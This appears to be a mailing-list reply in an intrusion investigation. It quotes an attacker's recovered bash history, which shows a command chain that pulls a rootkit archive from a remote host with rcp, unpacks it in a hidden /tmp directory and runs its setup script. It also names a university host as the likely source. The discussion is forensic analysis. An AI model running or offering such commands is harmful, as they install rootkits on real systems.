> i've also found this:[root@www /root]# cat /.bash_history id;mkdir /tmp/.new;cd /tmp/.new;rcp adm@xxxxxxxxxxxxx:/var/adm/rh6kit.tar.gz ./; gzip -d rh6kit.tar.gz; tar -xvf rh6kit.tar;./setup;id;Name: fresgisvr.frostburg.edu Address: 131.118.94.22 That might be a place to look for your attacker... _______________________________________________
Wow, all the semicolons.. looks like a cut/paste skript kiddie job. =/I'd get in touch with someone at frostburg.edu and let them know that their resources are being used for evil purposes.